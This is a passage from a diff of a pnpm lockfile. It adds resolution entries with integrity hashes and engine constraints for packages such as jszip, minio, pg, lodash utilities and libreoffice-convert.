sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==} hasBin: true @@ -3629,6 +4332,9 @@ packages: resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} engines: {node: '>=4.0'} + jszip@3.10.1: + resolution: {integrity: sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==} + jwa@1.4.2: resolution: {integrity: sha512-eeH5JO+21J78qMvTIDdBXidBd6nG2kZjg5Ohz/1fpa28Z4CcsWUzJ1ZZyFq/3z3N17aZy+ZuBoHljASbL1WfOw==} @@ -3644,6 +4350,22 @@ packages: keyv@4.5.4: resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + kind-of@3.2.2: + resolution: {integrity: sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==} + engines: {node: '>=0.10.0'} + + kind-of@4.0.0: + resolution: {integrity: sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==} + engines: {node: '>=0.10.0'} + + kind-of@5.1.0: + resolution: {integrity: sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==} + engines: {node: '>=0.10.0'} + + kind-of@6.0.3: + resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==} + engines: {node: '>=0.10.0'} + kleur@3.0.3: resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} engines: {node: '>=6'} @@ -3655,6 +4377,14 @@ packages: resolution: {integrity: sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==} engines: {node: '>=0.10'} + lazy-cache@2.0.2: + resolution: {integrity: sha512-7vp2Acd2+Kz4XkzxGxaB1FWOi8KjWIWsgdfD5MCb86DWvlLqhRPM+d6Pro3iNEL5VT9mstz5hKAlcd+QR6H3aA==} + engines: {node: '>=0.10.0'} + + lazystream@1.0.1: + resolution: {integrity: sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==} + engines: {node: '>= 0.6.3'} + leven@3.1.0: resolution: {integrity: sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==} engines: {node: '>=6'} @@ -3666,6 +4396,13 @@ packages: libphonenumber-js@1.13.3: resolution: {integrity: sha512-xMkdAMqcyG7iN2WZZmGIfWbYxW4orRkny+0/AXIbwL0xll2zkDX0Vzo/BXFa6+7mh2UvJl9MbcTtHk0YXkFtBA==} + libreoffice-convert@1.8.1: + resolution: {integrity: sha512-iZ1DD/EMTlPvol8G++QQ/0w4pVecSwRuhMLXRm7nRim/gcaSscSXuTO9Tgbkieyw5UdJg7UXD+lkFT8SCi51Dw==} + engines: {node: '>=6'} + + lie@3.3.0: + resolution: {integrity: sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==} + lilconfig@3.1.3: resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} engines: {node: '>=14'} @@ -3678,6 +4415,9 @@ packages: engines: {node: '>=18.12.0'} hasBin: true + listenercount@1.0.1: + resolution: {integrity: sha512-3mk/Zag0+IJxeDrxSgaDPy4zZ3w05PRZeJNnlWhzFz5OkX49J4krc+A8X2d2M69vGMBEX0uyl8M+W+8gH+kBqQ==} + listr2@8.3.3: resolution: {integrity: sha512-LWzX2KsqcB1wqQ4AHgYb4RsDXauQiqhjLk+6hjbaeHG4zpjjVAB6wC/gz6X0l+Du1cN3pUB5ZlrvTbhGSNnUQQ==} engines: {node: '>=18.0.0'} @@ -3702,18 +4442,50 @@ packages: resolution: {integrity: sha512-gvVijfZvn7R+2qyPX8mAuKcFGDf6Nc61GdvGafQsHL0sBIxfKzA+usWn4GFC/bk+QdwPUD4kWFJLhElipq+0VA==} engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + locter@2.2.1: + resolution: {integrity: sha512-Cc7mowptFl7ug5he6Iuos7aGRd9xbwTfnx1ng4AX/7F4iqemPaXAIJDi13IBwQZrKgli9OPEYXm6uCKr7ynxUQ==} + engines: {node: '>=22.0.0'} + + lodash._reinterpolate@3.0.0: + resolution: {integrity: sha512-xYHt68QRoYGjeeM/XOE1uJtvXQAgvszfBhjV4yvsQH0u2i9I6cI6c6/eG4Hh3UAOVn0y/xAXwmTzEay49Q//HA==} + lodash.camelcase@4.3.0: resolution: {integrity: sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==} + lodash.defaults@4.2.0: + resolution: {integrity: sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==} + + lodash.difference@4.5.0: + resolution: {integrity: sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==} + + lodash.escaperegexp@4.1.2: + resolution: {integrity: sha512-TM9YBvyC84ZxE3rgfefxUWiQKLilstD6k7PTGt6wfbtXF8ixIJLOL3VYyV/z+ZiPLsVxAsKAFVwWlWeb2Y8Yyw==} + + lodash.flatten@4.4.0: + resolution: {integrity: sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==} + + lodash.groupby@4.6.0: + resolution: {integrity: sha512-5dcWxm23+VAoz+awKmBaiBvzox8+RqMgFhi7UvX9DHZr2HdxHXM/Wrf8cfKpsW37RNrvtPn6hSwNqurSILbmJw==} + lodash.includes@4.3.0: resolution: {integrity: sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==} lodash.isboolean@3.0.3: resolution: {integrity: sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==} + lodash.isequal@4.5.0: + resolution: {integrity: sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==} + deprecated: This package is deprecated. Use require('node:util').isDeepStrictEqual instead. + + lodash.isfunction@3.0.9: + resolution: {integrity: sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==} + lodash.isinteger@4.0.4: resolution: {integrity: sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==} + lodash.isnil@4.0.0: + resolution: {integrity: sha512-up2Mzq3545mwVnMhTDMdfoG1OurpA/s5t88JmQX809eH3C8491iu2sfKhTfhQtKY78oPNhiaHJUpT/dUDAAtng==} + lodash.isnumber@3.0.3: resolution: {integrity: sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==} @@ -3723,6 +4495,9 @@ packages: lodash.isstring@4.0.1: resolution: {integrity: sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==} + lodash.isundefined@3.0.1: + resolution: {integrity: sha512-MXB1is3s899/cD8jheYYE2V9qTHwKvt+npCwpD+1Sxm3Q3cECXCiYHjeHWXNwr6Q0SOBPrYUDxendrO6goVTEA==} + lodash.kebabcase@4.1.1: resolution: {integrity: sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g==} @@ -3744,6 +4519,16 @@ packages: lodash.startcase@4.4.0: resolution: {integrity: sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==} + lodash.template@4.18.1: + resolution: {integrity: sha512-5urZrLnV/VD6zHK5KsVtZgt7H19v51mIzoS0aBNH8yp3I8tbswrEjOABOPY8m8uB7NuibubLrMX+Y0PXsU9X+w==} + deprecated: This package is deprecated. Use https://socket.dev/npm/package/eta instead. + + lodash.templatesettings@4.2.0: + resolution: {integrity: sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==} + + lodash.union@4.6.0: + resolution: {integrity: sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==} + lodash.uniq@4.5.0: resolution: {integrity: sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==} @@ -3756,6 +4541,10 @@ packages: lodash@4.18.1: resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==} + log-ok@0.1.1: + resolution: {integrity: sha512-cc8VrkS6C+9TFuYAwuHpshrcrGRAv7d0tUJ0GdM72ZBlKXtlgjUZF84O+OhQUdiVHoF7U/nVxwpjOdwUJ8d3Vg==} + engines: {node: '>=0.10.0'} + log-symbols@4.1.0: resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} engines: {node: '>=10'} @@ -3764,10 +4553,21 @@ packages: resolution: {integrity: sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==} engines: {node: '>=18'} + log-utils@0.2.1: + resolution: {integrity: sha512-udyegKoMz9eGfpKAX//Khy7sVAZ8b1F7oLDnepZv/1/y8xTvsyPgqQrM94eG8V0vcc2BieYI2kVW4+aa6m+8Qw==} + engines: {node: '>=0.10.0'} + + logging-helpers@1.0.0: + resolution: {integrity: sha512-qyIh2goLt1sOgQQrrIWuwkRjUx4NUcEqEGAcYqD8VOnOC6ItwkrVE8/tA4smGpjzyp4Svhc6RodDp9IO5ghpyA==} + engines: {node: '>=0.10.0'} + loose-envify@1.4.0: resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} hasBin: true + lower-case@2.0.2: + resolution: {integrity: sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==} + lru-cache@10.4.3: resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} @@ -3804,6 +4604,14 @@ packages: makeerror@1.0.12: resolution: {integrity: sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==} + map-cache@0.2.2: + resolution: {integrity: sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==} + engines: {node: '>=0.10.0'} + + map-visit@1.0.0: + resolution: {integrity: sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==} + engines: {node: '>=0.10.0'} + math-intrinsics@1.1.0: resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} engines: {node: '>= 0.4'} @@ -3839,6 +4647,10 @@ packages: resolution: {integrity: sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==} engines: {node: '>= 0.6'} + micromatch@3.1.10: + resolution: {integrity: sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==} + engines: {node: '>=0.10.0'} + micromatch@4.0.8: resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} engines: {node: '>=8.6'} @@ -3883,6 +4695,10 @@ packages: minimatch@3.1.5: resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} + minimatch@5.1.9: + resolution: {integrity: sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==} + engines: {node: '>=10'} + minimatch@9.0.9: resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==} engines: {node: '>=16 || 14 >=14.17'} @@ -3890,6 +4706,10 @@ packages: minimist@1.2.8: resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + minio@7.1.3: + resolution: {integrity: sha512-xPrLjWkTT5E7H7VnzOjF//xBp9I40jYB4aWhb2xTFopXXfw+Wo82DDWngdUju7Doy3Wk7R8C4LAgwhLHHnf0wA==} + engines: {node: ^16 || ^18 || >=20} + minipass@3.3.6: resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} engines: {node: '>=8'} @@ -3906,11 +4726,25 @@ packages: resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} engines: {node: '>= 8'} + mixin-deep@1.3.2: + resolution: {integrity: sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==} + engines: {node: '>=0.10.0'} + + mkdirp@0.5.6: + resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} + hasBin: true + mkdirp@1.0.4: resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} engines: {node: '>=10'} hasBin: true + moment@2.30.1: + resolution: {integrity: sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==} + + ms@2.0.0: + resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} + ms@2.1.3: resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} @@ -3930,6 +4764,10 @@ packages: engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} hasBin: true + nanomatch@1.2.13: + resolution: {integrity: sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==} + engines: {node: '>=0.10.0'} + napi-postinstall@0.3.4: resolution: {integrity: sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==} engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0} @@ -3945,6 +4783,12 @@ packages: neo-async@2.6.2: resolution: {integrity: sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==} + nestjs-minio-client@2.2.0: + resolution: {integrity: sha512-mz1vfJq/7YfSyVCIeZwOCfIfBz+msI9QynHS2QGO9GB+tVNnQOYta8PxFsH9tMxN7gNrjrf5jXsEIpgBB1oTeA==} + peerDependencies: + '@nestjs/common': '>=9.0.0' + '@nestjs/core': '>=9.0.0' + next@14.2.35: resolution: {integrity: sha512-KhYd2Hjt/O1/1aZVX3dCwGXM1QmOV4eNM2UTacK5gipDdPN/oHHK/4oVGy7X8GMfPMsUTUEmGlsy0EY1YGAkig==} engines: {node: '>=18.17.0'} @@ -3963,12 +4807,19 @@ packages: sass: optional: true + no-case@3.0.4: + resolution: {integrity: sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==} + node-abort-controller@3.1.1: resolution: {integrity: sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ==} node-addon-api@5.1.0: resolution: {integrity: sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==} + node-addon-api@8.8.0: + resolution: {integrity: sha512-c5Ko1fZJIJmzhFIkhRN76WTq+fC6tWnGy9CXA0fA+XygsWZmEwG8vmbkNqxMyoaa0Tin4djul49NzdVcJJcjeA==} + engines: {node: ^18 || ^20 || >= 21} + node-emoji@1.11.0: resolution: {integrity: sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==} @@ -3988,6 +4839,10 @@ packages: encoding: optional: true + node-gyp-build@4.8.4: + resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==} + hasBin: true + node-int64@0.4.0: resolution: {integrity: sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==} @@ -4025,6 +4880,10 @@ packages: resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} engines: {node: '>=0.10.0'} + object-copy@0.1.0: + resolution: {integrity: sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==} + engines: {node: '>=0.10.0'} + object-hash@3.0.0: resolution: {integrity: sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==} engines: {node: '>= 6'} @@ -4037,6 +4896,10 @@ packages: resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} engines: {node: '>= 0.4'} + object-visit@1.0.1: + resolution: {integrity: sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==} + engines: {node: '>=0.10.0'} + object.assign@4.1.7: resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} engines: {node: '>= 0.4'} @@ -4053,6 +4916,10 @@ packages: resolution: {integrity: sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==} engines: {node: '>= 0.4'} + object.pick@1.3.0: + resolution: {integrity: sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==} + engines: {node: '>=0.10.0'} + object.values@1.2.1: resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} engines: {node: '>= 0.4'} @@ -4122,6 +4989,9 @@ packages: package-json-from-dist@1.0.1: resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==} + pako@1.0.11: + resolution: {integrity: sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==} + parent-module@1.0.1: resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} engines: {node: '>=6'} @@ -4134,6 +5004,13 @@ packages: resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} engines: {node: '>= 0.8'} + pascal-case@3.1.2: + resolution: {integrity: sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==} + + pascalcase@0.1.1: + resolution: {integrity: sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==} + engines: {node: '>=0.10.0'} + passport-jwt@4.0.1: resolution: {integrity: sha512-UCKMDYhNuGOBE9/9Ycuoyh7vP6jpeTp/+sfMJl7nLff/t6dps+iaeE0hhNkKN8/HZHcJ7lCdOyDxHdDoxoSvdQ==} @@ -4195,6 +5072,40 @@ packages: perfect-debounce@1.0.0: resolution: {integrity: sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==} + pg-cloudflare@1.4.0: + resolution: {integrity: sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==} + + pg-connection-string@2.13.0: + resolution: {integrity: sha512-EMnU9E2fSULdsbErBbMaXJvFeD9B4+nPcM3f+4lsiCR0BHLPrLVjv3DbyM2hgQQviKJaTWIRRTjKjWlHg3p2ig==} + + pg-int8@1.0.1: + resolution: {integrity: sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==} + engines: {node: '>=4.0.0'} + + pg-pool@3.14.0: + resolution: {integrity: sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==} + peerDependencies: + pg: '>=8.0' + + pg-protocol@1.14.0: + resolution: {integrity: sha512-n5taZ1kO3s9ngDTVxsEznOqCyToTgz0FLuPq0B33COy5pPpuWJpY3/2oRBVETuOgzdqRXfWpM9HIhp2LBBT1BA==} + + pg-types@2.2.0: + resolution: {integrity: sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==} + engines: {node: '>=4'} + + pg@8.21.0: + resolution: {integrity: sha512-AUP1EYJuHraQGsVoCQVIcM7TEJVGtDzxWtGFZd8rds9d+CCXlU5Js1rYgfLNvxy9iJrpHjGrRjoi/3BT9fRyiA==} + engines: {node: '>= 16.0.0'} + peerDependencies: + pg-native: '>=3.0.1' + peerDependenciesMeta: + pg-native: + optional: true + + pgpass@1.0.5: + resolution: {integrity: sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==} + picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} @@ -4234,6 +5145,10 @@ packages: resolution: {integrity: sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==} engines: {node: '>=10.13.0'} + posix-character-classes@0.1.1: + resolution: {integrity: sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==} + engines: {node: '>=0.10.0'} + possible-typed-array-names@1.1.0: resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} engines: {node: '>= 0.4'} @@ -4289,6 +5204,22 @@ packages: resolution: {integrity: sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==} engines: {node: ^10 || ^12 || >=14} + postgres-array@2.0.0: + resolution: {integrity: sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==} + engines: {node: '>=4'} + + postgres-bytea@1.0.1: + resolution: {integrity: sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==} + engines: {node: '>=0.10.0'} + + postgres-date@1.0.7: + resolution: {integrity: sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==} + engines: {node: '>=0.10.0'} + + postgres-interval@1.2.0: + resolution: {integrity: sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==} + engines: {node: '>=0.10.0'} + prelude-ls@1.2.1: resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} engines: {node: 